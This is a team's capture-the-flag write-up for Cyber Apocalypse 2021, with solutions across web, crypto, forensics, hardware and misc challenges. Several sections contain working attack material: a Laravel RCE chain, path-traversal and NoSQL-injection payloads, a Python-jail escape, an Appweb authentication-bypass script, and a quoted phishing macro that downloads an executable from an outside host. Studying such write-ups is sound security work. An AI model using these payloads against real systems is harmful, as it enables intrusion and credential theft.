Original:

  1. https://github.com/thewhitecircle/ctf_writeups/tree/main/cyber_apocalypse_2021
  2. https://gist.github.com/telecastr/ddb80ad436fe3f2457677dfb1f973820

Web

Inspector gadget

Solved by: Bobby sox and ava

  • Visiting the webpage we see a part of a flag: CHTB{

  • If we keep looking around the pages, we find in /static/js/main another part of the flag:

us3full_1nf0rm4tion}
  • This in combination with the flag on the website is not the correct flag so far.
  • static/css/main.css has another potential hint at the top with: c4n_r3ve4l_
  • so, so far we have collected 3 pieces of a flag:
1. CHTB{
2. us3full_1nf0rm4tion}
3. c4n_r3ve4l_ 
  • in js.main we will also find the last piece of our flag:1nsp3ction_
  • the full flag ended up being :CHTB{1nsp3ction_c4n_r3ve4l_us3full_1nf0rm4tion}

Cass

Solved by : thewhiteh4t

  • Input sanitization is only in front end via javascript
  • we can use burpsuite to bypass that


DAAS

Solved by: Nigamelastic

CVE-2021-3129 : https://nvd.nist.gov/vuln/detail/CVE-2021-3129

  • Find
ip/_ignition/execute-solution
  • For a laravel panel with error messages and stack trace.

  • https://www.ambionics.io/blog/laravel-debug-rce
  • As mentioned in the blog above i tried performing a post request but it gave me a 302 response
  • but the above link mentions their github page and exploit which is
    https://github.com/ambionics/phpggc
    and
    https://github.com/ambionics/laravel-exploits

the idea is to get the phar file with ur custom command from 1st repo and then put the phar file into the exploit with specified url to run the exploit
PS: for a linux command with spaces simply use "

  • so for our case since we know the flag was found on the root directory and its name as
flagM1AhS
  • our phpggc command should be
php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "cat /flagM1AhS"
  • run that in the exploit as:
./laravel-ignition-rce.py http://165.227.234.7:31636/ /tmp/exploit.phar
  • and we have the flag:
CHTB{wh3n_7h3_d3bu663r_7urn5_4641n57_7h3_d3bu6633}

MiniSTRyplace

Solved by: Bobbysox and thewhiteh4t

  • hint1: “Let's read this website in the language of Alines. Or maybe not?
    This challenge will raise 33 euros for a good cause.”

  • hint2: The challenges name is “miniSTRyplace”. This is a play on words for str_replace.

  • We see right away that we can change language and it is represented:
    ip.address/?lang=es.php a perfect place to try LFI

  • In order to prevent path traversal, developers can implement blacklisting. It will usually look something like this:

$language = str_replace('../', '', $_GET['language']);
  • This is where you can see the name of the challenge was a hint to the sec measures used.
    *now we can modify our final payload to bypass blacklisting:
http://46.101.77.180:32490/?lang=....//....//....//....//....//....//....//....//etc/passwd
  • Our exploit is successful, to get the flag we just used the following :
http://165.227.234.7:30779/?lang=....//....//flag

Wild Goose Hunt

Solved by : thewhiteh4t

  • We have a cool login page and source of the web app for this one
  • entrypoint.sh contains the following :
    #!/bin/ash
    
    # Secure entrypoint
    chmod 600 /entrypoint.sh
    mkdir /tmp/mongodb
    mongod --noauth --dbpath /tmp/mongodb/ &
    sleep 2
    mongo heros --eval "db.createCollection('users')"
    mongo heros --eval 'db.users.insert( { username: "admin", password: "CHTB{f4k3_fl4g_f0r_t3st1ng}"} )'
    /usr/bin/supervisord -c /etc/supervisord.conf
  • we can see that the flag is being stored as the password of admin
  • we need to somehow extract the password
  • since its mongoDB first assumption was to check for NoSQL injection
  • Here is the error message we get in burp for a normal attempt

  • Lets switch to repeater here

  • so we are getting a json response and the message is being displayed in the frontend
  • next i tried some basic payloads for NoSQL injection
username[$ne]=lol&password[$ne]=lol

  • Authentication bypassed! but we dont get any functionality in the frontend so i proceeded with more payloads
username=admin&password[$regex]=A*

  • This is an interesting payload because we can use a wildcard to check if a particular character is present in the password or not!
  • we know that the flag is the password and flag begins with CHTB{ so I tried that next
username=admin&password[$regex]=CHTB{.*

  • And it works again!
  • Now we can bruteforce characters and check for success message to get correct characters
  • I created a small python script for it
    #!/usr/bin/env python3
    #################################
    ## Author    : thewhiteh4t ######
    ## Challenge : Wild Goose Hunt ##
    #################################
    import json
    import requests
    ip = '138.68.187.25'
    port = 31370
    url = f'http://{ip}:{port}/api/login'
    flag = 'CHTB{'
    charset = '_01234abcdefghijklmnopqrstuvwxyz'
    loop_iter = 1
    while flag.endswith('}') == False:
        for char in charset:
            if loop_iter == 1:
                payload = flag + char + '.*'
            else:
                payload = flag + '}'
            data = {
                'username': 'admin',
                'password[$regex]': payload
            }
            try:
                rqst = requests.post(url, data=data)
            except Exception as e:
                print(f'[-] Exception : {e}')
                exit()
            if rqst.status_code == 200:
                resp = rqst.text
                json_resp = json.loads(resp)
                status = json_resp['logged']
                if status == 1:
                    if payload.endswith('}') == False:
                        flag = payload.replace('.*', '')
                    else:
                        flag = payload
                        print(f'FLAG : {flag}')
                        exit()
                    print(f'FLAG : {flag}')
                    loop_iter = 0
                    break
            else:
                print(f'[-] Error : {rqst.status_code}')
        loop_iter += 1

Crypto

Nintendo Base64

Solved by : thewhiteh4t

Cyberchef recipe :

    [
      { "op": "Find / Replace",
        "args": [{ "option": "Regex", "string": " " }, "", true, false, true, false] },
      { "op": "Find / Replace",
        "args": [{ "option": "Regex", "string": "\\n" }, "", true, false, true, false] },
      { "op": "From Base64",
        "args": ["A-Za-z0-9+/=", true] },
      { "op": "From Base64",
        "args": ["A-Za-z0-9+/=", true] },
      { "op": "From Base64",
        "args": ["A-Za-z0-9+/=", true] },
      { "op": "From Base64",
        "args": ["A-Za-z0-9+/=", true] },
      { "op": "From Base64",
        "args": ["A-Za-z0-9+/=", true] },
      { "op": "From Base64",
        "args": ["A-Za-z0-9+/=", true] },
      { "op": "From Base64",
        "args": ["A-Za-z0-9+/=", true] },
      { "op": "From Base64",
        "args": ["A-Za-z0-9+/=", true] }
    ]

PhaseStream 1

Solved by: Legend

  • Each character will be XOR with each character of the key and the length of the key is 5 characters.
    start =  bytearray.fromhex('2e313f2702')  #Randomly tried from starting of given cipher
    text = 'CHTB{'.encode()
    
    key = b''
    output = b''
    
    for i in range(len(start)):
            key += bytes([text[i] ^ start[i]])
    
    print('Key: ' + str(key))
    print('Key len: '+ str(len(key)))
    print('Key type: ' + str(type(key)))
    print('Key hex: ' + key.hex())
    
    for i in range(int(len(start))):
            output += bytes([start[i] ^ key[i % len(key)]])
    
    print('2e313f2702 --> '+ '(' + output.hex() + ')' + ' == ' + str(output) + '(text)')
    
    shifr  = bytearray.fromhex('2e313f2702184c5a0b1e321205550e03261b094d5c171f56011904')
    
    output2 = b''
    
    for i in range(len(shifr)):
            output2 += bytes([shifr[i] ^ key[i % len(key)]])
    
    output_dec = output2.decode(errors='ignore')
    
    print('Flag: '+ output_dec)
    print('Flag hex: '+ output.hex())

Flag: CHTB{u51ng_kn0wn_pl41nt3xt}

PHASESTREAM 2

AUTHOR: HYPERREALITY

The aliens have learned of a new concept called “security by obscurity”. Fortunately for us they think it is a great idea and not a description of a common mistake.
We’ve intercepted some alien comms and think they are XORing flags with a single-byte key and hiding the result inside 9999 lines of random data, Can you find the flag?

There are 10000 lines, only one of which contains the flag. We can quickly script the loop through the lines, and test each line if it starts with CHTB{ after xor with every single-byte key.

Note that we can apply the same technique as in PhaseStream1 to identify the correct key byte by xoring the first ciphertext byte with C, and that we thus don’t need to try all possible keys.

IMPLEMENTATION

def xor(a, b):
    res = []
    i = 0
    while i < len(a) or i < len(b):
        res.append(a[i % len(a)] ^ b[i % len(b)])
        i += 1
    return bytes(res)

for l in open("output.txt").read().strip().splitlines():
    t = bytes.fromhex(l)
    s = xor(t, xor(t[:1], b'C'))
    if s.startswith(b"CHTB"):
        print(s.decode())

FLAG

CHTB{n33dl3_1n_4_h4yst4ck}

PHASESTREAM 3

AUTHOR: HYPERREALITY

The aliens have learned the stupidity of their misunderstanding of Kerckhoffs’s principle.
Now they’re going to use a well-known stream cipher (AES in CTR mode) with a strong key. And they’ll happily give us poor humans the source because they’re so confident it’s secure!

CHALLENGE

from Crypto.Cipher import AES
from Crypto.Util import Counter
import os

KEY = os.urandom(16)


def encrypt(plaintext):
    cipher = AES.new(KEY, AES.MODE_CTR, counter=Counter.new(128))
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext.hex()


test = b"No right of private conversation was enumerated in the Constitution. I don't suppose it occurred to anyone at the time that it could be prevented."
print(encrypt(test))

with open('flag.txt', 'rb') as f:
    flag = f.read().strip()
print(encrypt(flag))
SOLUTION
AES-CTR is a mode of operation for AES that turns it into a stream cipher. That is, it generates a keystream that will then be xored against the plaintext to encrypt it.

The problem in this challenge is that the counter is improperly initialized, and because of that, the keystream will be identical across encryptions.

That means we can recover the keystream from known plaintext, just like we did for PhaseStream 1 - but with a longer known plaintext and a longer keystream.

IMPLEMENTATION
from pwn import xor

a = bytes.fromhex("08501b3dbd0fb2f7c87aeb3a224a9d568fa8ad83ff442548b5f4334f0fe1dd6b8f5d5e410be5af2d7ea642b12d8f459f2ab666d4f79a9115dc9cf22ed60e899769fd206c40819bbefe2b5a2ec592a387c6927d866b6343466d5effde0666dd3bb7f657ed651bfcf45fd5b264a36406c6b6dbb1a81272029c5e06da438a0281c19c1e10a0dc47d6ae994557e82663e9f59578")
b = bytes.fromhex("05776f0daf1ae9f6dd26e945390bad7fda889c97ff6036")

test = b"No right of private conversation was enumerated in the Constitution. I don't suppose it occurred to anyone at the time that it could be prevented."

key = xor(a, test)
print(xor(key, b))

FLAG

CHTB{r3u53d_k3Y_4TT4cK}

PHASESTREAM 4

AUTHOR: HYPERREALITY

The aliens saw us break PhaseStream 3 and have proposed a quick fix to protect their new cipher.

CHALLENGE

from Crypto.Cipher import AES
from Crypto.Util import Counter
import os

KEY = os.urandom(16)


def encrypt(plaintext):
    cipher = AES.new(KEY, AES.MODE_CTR, counter=Counter.new(128))
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext.hex()


with open('test_quote.txt', 'rb') as f:
    test_quote = f.read().strip()
print(encrypt(test_quote))

with open('flag.txt', 'rb') as f:
    flag = f.read().strip()
print(encrypt(flag))

SOLUTION

The key to solving this challenge is the following observation: if Ca=a⊕k and Cb=b⊕k, then C=Ca⊕Cb=a⊕b and the key has entirely disappeared. This means that we can try to find a piece of known (or guessed) plaintext in either a or b, and test if we get reasonable plaintext in when we xor it against C. If we do, we might be able to extend the known/guessed plaintext for the other plaintext and repeat this process.

This is known as crib dragging and there even exist some useful tools online that might be able to help us solve this, such as this one.

After some trial and error, we can get a partial quote, google it and find the complete quote, which we then use to find the flag. We just need to be careful as the punctuation of the quote might not be the same everywhere, and might not exactly match the one used in the challenge. To fix problems like that, simply find the first place where the flag starts going wrong and experiment from there.

FLAG

CHTB{stream_ciphers_with_reused_keystreams_are_vulnerable_to_known_plaintext_attacks}

SoulCrabber 1

Solved by : ava and thewhiteh4t

Solution :

  • since the seed remains fixed and we know the seed the randomized values in each run will be same so we just have to inverse XOR the cipher text to get the flag
  • hex decode cipher text
  • convert each char to 8 bit int
  • xor against random 8 bit integers
  • convert integer to char

XOR Function :

    fn rand_xor(input : String) -> String {
        
        // get_rng function is called
        
        let mut rng = get_rng();
        return input
            .chars()        // converts string into array of chars
            .into_iter()    // converts vector into iterable
            // map applies a function to each element
            // {:02x} converts integers to 2 char hex format
            // u8 is 8 bit unsigned integer
            // ^ is bitwise XOR
            // XOR against random 8 bit integer
            .map(|c| format!("{:02x}", (c as u8 ^ rng.gen::<u8>())))
            .collect::<Vec<String>>()
            .join("");
    }

Get Numbers from hex string :

    fn rev_xor(input : String) {
        let mut rng = get_rng();
        let inp_arr = hex::decode(input);
        println!("{:?}", inp_arr);
    ...
    [27, 89, 20, 132, 219, 150, 47, 119, 130, 209, 65, 10, 250, 74, 56, 143, 121, 48, 6, 123, 206, 246, 223, 84, 106, 87, 217, 248, 115]

use those numbers into array and iterate it over :

    use rand::{Rng,SeedableRng};
    use rand::rngs::StdRng;
    use std::fs;
    use std::io::Write;
    
    fn get_rng() -> StdRng {
        let seed = 13371337;
        return StdRng::seed_from_u64(seed);
    }
    
    fn rand_xor(input : String) -> String {
        let mut rng = get_rng();
        //print!("{:?}",rng.gen::<u8>());
        let arr = [27, 89, 20, 132, 219, 150, 47, 119, 130, 209, 65, 10, 250, 74, 56, 143, 121, 48, 6, 123, 206, 246, 223, 84, 106, 87, 217, 248, 115];
        let space = "\t";
        for i in &arr
        {
            print!("{}", (i ^ rng.gen::<u8>()));
            print!("{}", space);
        }
        return input
            }
    
    fn main() -> std::io::Result<()> {
        let flag = fs::read_to_string("flag.txt")?;
        let xored = rand_xor(flag);
        //println!("{}", xored);
        let mut file = fs::File::create("out.txt")?;
        file.write(xored.as_bytes())?;
        Ok(())
    }

Forensics

AlienPhish

Solved by : Starry-Lord

  • Unzip and find 'Alien Weaknesses.pptx'
  • Unzip again and go to ppt/slides/_rels/
  • Read slide1.xml.rels to find a suspicious relation tag
    cmd.exe%20/V:ON/C%22set%20yM=%22o$%20eliftuo-%20exe.x/neila.htraeyortsed/:ptth%20rwi%20;'exe.99zP_MHMyNGNt9FM391ZOlGSzFDSwtnQUh0Q'%20+%20pmet:vne$%20=%20o$%22%20c-%20llehsrewop&amp;&amp;for%20/L%20%25X%20in%20(122;-1;0)do%20set%20kCX=!kCX!!yM:~%25X,1!&amp;&amp;if%20%25X%20leq%200%20call%20%25kCX:*kCX!=%25%22
  • Go to cyberchef
  • From url decode
  • Reverse
    "%=!XCk*:XCk% llac 0 qel X% fi;pma&;pma&!1,X%~:My!!XCk!=XCk tes od)0;1-;221( ni X% L/ rof;pma&;pma&powershell -c "$o = $env:temp   'Q0hUQntwSDFzSGlOZ193MF9tNGNyMHM_Pz99.exe'; iwr http:/destroyearth.alien/x.exe -outfile $o"=My tes"C/NO:V/ exe.dmc
    Q0hUQntwSDFzSGlOZ193MF9tNGNyMHM_Pz99
  • From base64 and select the urlSafe alphabet
CHTB{pH1sHiNg_w0_m4cr0s???}

Invitation

Solved By : Starry-Lord

  • So we get a docm file.
  • I start by unzippping the word document
  • We get a docm
  • Unzip it again and see folders

PART 1

  • First thing I tried to do after looking around was
strings vbaProject.bin
  • Which gives back interesting hex lines.

  • Then decrypt from hex

  • From base64 urlsafe alphabet will show the following

CHTB{maldocs_are

PART 2

  • Upload full vbaProject file this time and do the same as before.

  • Use base64 urlsafe alphabet
  • We get second part of the flag by reversing
_the_new_meta}
CHTB{maldocs_are_the_new_meta}

Oldest trick in the book

Solved by : thewhiteh4t

  • We are given a pcap which consists of mostly TLS and ICMP traffic
  • ICMP looks promising as we can see the header of ZIP file PK

  • Another thing was that the the traffic from both IP address was similar I focused on only one of them

  • To extract data of all these packets I used tshark
$ tshark -r older_trick.pcap -T fields -e data.data -Y "ip.src == 192.168.1.7" > 192.168.1.7.txt
  • After this I looked for duplicate packets in the text file

  • So we have 10127 unique icmp data packets
  • To decode hex and compile all the data I created a small python script
  • But I was not getting proper file format of resultant file so I inspected the data
  • There were duplicates in the data as well!
b7ae04 0000000000 504b0304140000000000729e8d52659b 504b0304140000000000729e8d52659b 504b030414000000
ead104 0000000000 4c6b1800000018000000100000006669 4c6b1800000018000000100000006669 4c6b180000001800
99e804 0000000000 6e692f6164646f6e732e6a736f6e7b22 6e692f6164646f6e732e6a736f6e7b22 6e692f6164646f6e
cafb04 0000000000 736368656d61223a362c226164646f6e 736368656d61223a362c226164646f6e 736368656d61223a
  • This is the data from first 4 packets for an example
  • After first 6 characters we have 10 zeroes
  • After that a unique string
  • The string is repeated after that
  • Then a partial repetition can be seen at the end
  • I tried various combinations and in the end only the unique string was needed from each packet i.e 504b0304140000000000729e8d52659b for first line as an example
#!/usr/bin/env python3
import binascii
msg = []
with open('unique.txt', 'r') as raw:
    raw_arr = raw.readlines()
for line in raw_arr:
    if len(line) == 97:
        line = line.strip()
        line = line[16:48]
        plain = binascii.unhexlify(line)
        msg.append(plain)
with open('result.zip', 'wb') as res:
    for line in msg:
        res.write(line)
  • The script iterates over each line in the file and skips empty lines if it finds any
  • Then it slices of extra characters as stated above
  • Then it decodes the hex into binary data and appends it in a file

  • And we get a proper zip file!
  • Here are the extracted contents of the zip

  • After some enumeration of all files they point towards Mozilla Firefox
  • After some googling I found that this is a firefox profile dump
  • In linux the default path for profiles is /home/user/.mozilla/firefox
  • I copied the folder into profiles folder and then edited the profiles.ini file present inside it to add the following entry
[Profile2]
Name=fini
Path=fini
IsRelative=1
  • After this I launched firefox from CLI using
$ firefox -P
  • It provides an option to choose a specific profile and launch the browser with it

  • After the browser launched with the new profile and checked the saved logins and here we have the flag!

Hardware

Solved by : Nigamelastic

Serial Logs:

  • I imported the value i am pretty sure if i find the right analyzer it should work

  • by far for this challenge async serial works the best
  • challenge states raspberry pi which has a baud rate of 115200
  • after some pondering i realized that there are some errors in parity on fixing them and using the 115200 in async serial we get the hex converting which gives us this:

https://www.dropbox.com/s/ztqoa16wvp6rvf6/message.txt?dl=0

  • zoom

  • zoom

  • zoom

  • until you see the smallest unit of the digital wave then measure it: as its 13.498

  • since it is in μ we will divide it by 1000000
  • so 1000000/13.498 = 74085.049637
  • I obviously used 74000 as bit rate, converted the hex to ascii with the tool itself and it gave me the flag:
CHTB{wh47?!_f23qu3ncy_h0pp1n9_1n_4_532141_p2070c01?!!!52}

Compromised

  • import the file in salea logic analyzer, and use i2c analyzer
  • export the data and you will see two columns if we take everything written and try the hex dump we get
set_maCxH_lTimB{itn_tuo1:110_se73t_2mimn1_nli4mi70t_2to5:_1c0+.]<+/4~nr^_yz82Gb3b"4#kU_..4+J_5.
3M.2B1.4B.1dV_5. yS.5B7k3..1V.Qxm.!j.@Q52yq)t%# @5%md}S.
  • and we can see its slightly off i noticed the following :

  • so i used only 0x2C used the corresponding hex

which is

0x43 0x48 0x54 0x42 0x7B 0x6E 0x75 0x31 0x31 0x5F 0x37 0x33 0x32 0x6D 0x31 0x6E 0x34 0x37 0x30 0x32 0x35 0x5F 0x63 0x34 0x6E 0x5F 0x38 0x32 0x33 0x34 0x6B 0x5F 0x34 0x5F 0x35 0x33 0x32 0x31 0x34 0x31 0x5F 0x35 0x79 0x35 0x37 0x33 0x6D 0x21 0x40 0x35 0x32 0x29 0x23 0x40 0x25 0x7D
  • and got the flag
CHTB{nu11_732m1n47025_c4n_8234k_4_532141_5y573m!@52)#@%}

Discovery

  • Port 31227 -> Basic Auth, no luck with admin/admin, ... & user admin+ rockyou.txt

  • Port 32544 -> AMQP, requires auth, no luck with guest/guest & user admin+rockyou.txt

  • Ports change with restart of Docker-container + Services of other challanges are running on the same IP but different port

  • The authentication form tells us, this is a AppWeb Embedded Server

    • Found common vuln for app web: https://lab.wallalarm.com
    • Found working exploit for user admin at https://vulners.com:
    • Rewrite of exploit for python3:
      ​​​​​​​​import requests
      ​​​​​​​​import argparse
      
      ​​​​​​​​print ("""----------------------------------------------------------------
      ​​​​​​​​Embedthis Appweb/Http Zero-Day Form/Digest Authentication Bypass
      ​​​​​​​​----------------------------------------------------------------
      ​​​​​​​​""")
      
      ​​​​​​​​def test_digest(r):
      ​​​​​​​​    auth = ["realm", "domain", "qop", "nonce", "opaque", "algorithm", "stale", "MD5", "FALSE", "Digest"]
      ​​​​​​​​    wwwauthenticate = r.headers.get('WWW-Authenticate')
      
      ​​​​​​​​    if wwwauthenticate is None:
      ​​​​​​​​        return False
      
      ​​​​​​​​    for k in auth:
      ​​​​​​​​        if k not in wwwauthenticate:
      ​​​​​​​​            return False
      
      ​​​​​​​​    return True
      
      
      ​​​​​​​​def test_form(r):
      ​​​​​​​​    """ extremely shoddy recognition, expect false positives """
      
      ​​​​​​​​    auth = [("X-XSS-Protection", "1; mode=block"), ("X-Content-Type-Options", "nosniff"), ("ETag", None), ("Date", None)]
      ​​​​​​​​    potential_auth = [("Last Modified", ""), ("X-Frame-Options", "SAMEORIGIN"), ("Accept-Ranges", "bytes"), ("Content-Type", "text/html")]
      
      ​​​​​​​​    if r.headers.get("WWW-Authenticate") is not None:
      ​​​​​​​​        return False
      
      ​​​​​​​​    for k, v in auth:
      ​​​​​​​​        rv = r.headers.get(k)
      ​​​​​​​​        if not rv:
      ​​​​​​​​            return False
      ​​​​​​​​        if v is not None and v != rv:
      ​​​​​​​​            return False
      
      ​​​​​​​​    potential_count = 0
      ​​​​​​​​    for k, v in potential_auth:
      ​​​​​​​​        rv = r.headers.get(k)
      ​​​​​​​​        if rv and v != "" and v == rv:
      ​​​​​​​​            potential_count += 1
      
      ​​​​​​​​    print("[+] Optional matchings: {}/{}".format(potential_count, len(potential_auth)))
      ​​​​​​​​    return True
      
      
      ​​​​​​​​def test(url):
      ​​​​​​​​    """ Newer EmbedThis HTTP Library/Appweb versions do not advertise their presence in headers, sometimes might be proxied by nginx/apache, we can only look for a default headers configuration """
      
      ​​​​​​​​    r = requests.get(url)
      
      ​​​​​​​​    # EmbedThis GoAhead uses a similar headers configuration, let's skip it explicitly
      ​​​​​​​​    serv = r.headers.get("Server")
      ​​​​​​​​    if serv and "GoAhead" in serv:
      ​​​​​​​​        return False
      
      ​​​​​​​​    if test_digest(r):
      ​​​​​​​​        return "digest"
      ​​​​​​​​    elif test_form(r):
      ​​​​​​​​        return "form"
      ​​​​​​​​    return None
      
      
      ​​​​​​​​def exploit(url, username="joshua", authtype="digest"):
      ​​​​​​​​    payload = { "username": username }
      
      ​​​​​​​​    headers = {
      ​​​​​​​​        "authorization": "Digest username={}".format(username),
      ​​​​​​​​        "user-agent": "TruelBot",
      ​​​​​​​​        "content-type": "application/x-www-form-urlencoded",
      ​​​​​​​​    }
      
      ​​​​​​​​    if authtype == "digest":
      ​​​​​​​​        r = requests.get(url, data=payload, headers=headers)
      ​​​​​​​​    else:
      ​​​​​​​​        r = requests.post(url, data=payload, headers=headers)
      
      ​​​​​​​​    print(r.content)
      
      ​​​​​​​​    if r.status_code != 200 or len(r.cookies) < 1:
      ​​​​​​​​        print("[!] Exploit failed, HTTP status code {}".format(r.status_code))
      ​​​​​​​​        return
      
      ​​​​​​​​    print("[*] Succesfully exploited, here's your c00kie:\n  {}".format(dict(r.cookies))
      
      ​​​​​​​​)
      ​​​​​​​​if __name__ == "__main__":
      ​​​​​​​​    parser = argparse.ArgumentParser(description="Test&Exploit EmbedThis form/digest authentication bypass (CVE-XXXX-YYYY)")
      ​​​​​​​​    parser.add_argument('-t', '--target', required=True, help="specify the target url (i.e., http(s)://target-url[:port]/)")
      ​​​​​​​​    parser.add_argument('-u', '--user', required=True, help="you need to know a valid user name")
      ​​​​​​​​    parser.add_argument('-c', '--check', action='store_true', default=False, help="test for exploitability without running the actual exploit")
      ​​​​​​​​    parser.add_argument('-f', '--force', action='store_true', default=False, help="skip exploitability test")
      ​​​​​​​​    args = parser.parse_args()
      
      ​​​​​​​​    url = args.target
      ​​​​​​​​    username = args.user
      ​​​​​​​​    t = "form" # default will try form/post
      ​​​​​​​​    if args.check or not args.force:
      ​​​​​​​​        t = test(url)
      
      ​​​​​​​​    if t is None:
      ​​​​​​​​        print("[!] Target does not appear to be Appweb/Embedthis HTTP with form/post auth (force with -f)")
      ​​​​​​​​    else:
      ​​​​​​​​        print("[+] Potential appweb/embedthis http, {} method".format(t))
      
      ​​​​​​​​    if not args.check:
      ​​​​​​​​        print("[!] Exploiting {}, user {}!".format(url, username))
      ​​​​​​​​        exploit(url, username, t)
      
    • Exploit generates working cookie -http-session-
    • After sending cookie with request, an admin panel is revealed:
      Admin panel
    • Gobuster result with cookie
    ​​​​    $gobuster dir -c "-http-session-=2::http.session::746f086b9785a33d7a1df4ae329fcacb" -u http://46.101.37.171:32387 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt                                           1 ⨯
    ​​​​===============================================================
    ​​​​Gobuster v3.1.0
    ​​​​by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ​​​​===============================================================
    ​​​​[+] Url:                     http://46.101.37.171:32387
    ​​​​[+] Method:                  GET
    ​​​​[+] Threads:                 10
    ​​​​[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
    ​​​​[+] Negative Status codes:   404
    ​​​​[+] Cookies:                 -http-session-=2::http.session::746f086b9785a33d7a1df4ae329fcacb
    ​​​​[+] User Agent:              gobuster/3.1.0
    ​​​​[+] Timeout:                 10s
    ​​​​===============================================================
    ​​​​2021/04/21 05:55:06 Starting gobuster in directory enumeration mode
    ​​​​===============================================================
    ​​​​/images               (Status: 301) [Size: 203] [--> http://46.101.37.171:8080/images/]
    ​​​​/icons                (Status: 301) [Size: 202] [--> http://46.101.37.171:8080/icons/] 
    ​​​​/test                 (Status: 301) [Size: 201] [--> http://46.101.37.171:8080/test/]  
    ​​​​/bench                (Status: 301) [Size: 202] [--> http://46.101.37.171:8080/bench/]
    
    • Password-Hashes (SHA256, no salt, hashcat -m 1400)
      • Crackstation is able to find a valid AMQP passwd winniethepooh for user anthony_davis, hash 89D9743B793B22AEB9A8142ABD59FDF4CDABFDD01796C31BE7587C114E0D37C1
      • user leo hash 27BE4E31517E61D2BEF777B7293B7D8C73C14BD1B8F2839A7B8226CBEFF30E99
    • AMQP login success with user anthony_davis
    • Subscribing to all Channels on exchange Base of user leo reveals the flag
    • Exploit:
      ​​​​​​​​import pika
      
      ​​​​​​​​parameters = pika.URLParameters('amqp://anthony_davis:winniethepooh@138.68.182.20:32442/%2F')
      
      ​​​​​​​​def on_message(channel, method_frame, header_frame, body):
      ​​​​​​​​    print(method_frame.delivery_tag)
      ​​​​​​​​    print(body)
      ​​​​​​​​    print()
      ​​​​​​​​    channel.basic_ack(delivery_tag=method_frame.delivery_tag)
      
      
      ​​​​​​​​connection = pika.BlockingConnection(parameters)
      ​​​​​​​​channel = connection.channel()
      ​​​​​​​​
      ​​​​​​​​# Declare exchange type explicitly as 'topic', taken from admin-panel
      ​​​​​​​​channel.exchange_declare(exchange='Base', 
      ​​​​​​​​                         exchange_type='topic')
      
      ​​​​​​​​result = channel.queue_declare(queue='', exclusive=False)
      ​​​​​​​​queue_name = result.method.queue
      ​​​​​​​​
      ​​​​​​​​
      ​​​​​​​​# Subscribe to wildcard topic `#` = Print all messages of exchange
      ​​​​​​​​channel.queue_bind(queue=queue_name,  
      ​​​​​​​​                    exchange='Base', 
      ​​​​​​​​                    routing_key='#')
      
      ​​​​​​​​def callback(ch, method, properties, body):
      ​​​​​​​​    print(" [x] %r:%r" % (method.routing_key, body))
      
      
      ​​​​​​​​channel.basic_consume(
      ​​​​​​​​    queue=queue_name, on_message_callback=callback, auto_ack=True)
      
      ​​​​​​​​channel.start_consuming()
      

Misc

Alien Camp

Solved By : thewhiteh4t

  • The challenge server sends a randomized set of emoji and value pair
  • We can get all pairs from option 1
  • After getting all pairs we can start calculating values for each question
  • If you get EOF Error just restart the script
  • After 500 questions we get the flag
    #!/usr/bin/env python3
    
    from pwn import *
    
    host = '46.101.82.40'
    port = 32156
    conn = remote(host, port)
    conn.recvuntil('>').decode()
    print('[+] Getting some help...')
    conn.send('1\n')
    out = conn.recvuntil('\n>').decode()
    help_arr = out.split('\n')
    help_txt = help_arr[2]
    store = help_txt.split(' ')
    emojis = []
    vals = []
    new_store = {}
    counter = 0
    for item in store[0::3]:
        if len(item) > 0:
            emojis.append(item)
    for item in store [2::3]:
        vals.append(item)
    for emo in emojis:
        new_store[emo] = vals[emojis.index(emo)]
    if len(new_store) != 0:
        print('[+] Help recieved!')
    conn.send('2\n')
    def solve(conn):
        global counter
        if counter != 500:
            q_txt = conn.recvuntil('?').decode()
            q_txt = q_txt.split('\n')
            q_txt = q_txt[-1]
            print(f'[Q:{counter}] {q_txt}')
            q_txt = q_txt.split('  =')
            q_txt = q_txt[0]
            q_emo = q_txt.split(' ')
            for elem in q_emo:
                if elem in new_store:
                    q_txt = q_txt.replace(elem, new_store[elem])
            ans = eval(q_txt)
            print(f'[+] Sending {ans}')
            conn.send(str(ans) + '\n')
        else:
            flag = conn.recvuntil('}').decode()
            print(flag)
            conn.close()
        counter += 1
    while counter <= 500:
        solve(conn)

Input as a service

Solved by : ava

  • We are given a py-jail
  • https://programmer.help/blogs/python-sandbox-escape.html
  • I used this website as reference, os and such imports are banned, so we used string manipulation
  • we just reverse the string os to so and import it and then do ls command to * * see the flag.txt and then just cat the flag
  • the code to do is given below
# use this to check the files present

__import__('so'[::-1]).system('ls')

# this is called reverse print method, "so" actually os

flag.txt
input_as_a_service.py

# read the file

__import__('so'[::-1]).system('cat flag.txt')

CHTB{4li3n5_us3_pyth0n2.X?!}

Robotic Infiltration

Solved by : thewhiteh4t

  • We got a capture.bag file in this one
  • The challenge mentions ROS which leads to a utility called rosbag
  • rosbag can be used to play this bag file
  • Installation and tutorials are given in ros wiki : http://wiki.ros.org/Documentation
  • The challenge mentions rebuild plan for facility
  • after some poking around we saw rosbag comes with another utility known as rviz
  • rviz can be used for 3d visualization of bag files

Step 1 : Start roscore

Step 2 : Play bag file

$ rosbag play capture.bag

Step 3 : Launch rviz

$ rosrun rviz rviz
  • Now all we had to do was tweak things in rviz a little to improve visibility and eventually we spotted the flag

  • After some play and pause action we got the full flag
CHTB{r0s_1s_r0b0tic_p0w3r}

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

RE

Authenticator

Solved by chronocruz.exe

  • Disassembling the binary using IDA we get the first code block

  • Here we can clearly see the “Alien ID: “ that is supposed to be the first input

  • To find the pin, we proceed down the code flow

  • We can see there’s a function named “checkpin” being called so we look at what its doing

  • It may get slightly difficult to understand what this code really means..
  • We can use decompilers like Ghidra to try to convert this into something we can understand better.

  • Looking at the decompiled “checkpin” function, we can clearly see a XOR operation on a string.
  • It’s safe to say that our pin must be the XOR of each character in this string with 9.
  • With the help of this simple Python script we print the flag

Passphrase

Solved by chronocruz.exe

Disassembling the binary in IDA we reach the first code block where a certain portion of the code caught my eye

  • So I wrote down the string given here
3xtr4t3rR3stR14L5_VS_hum4n5
  • Tried using this string in the program and voila!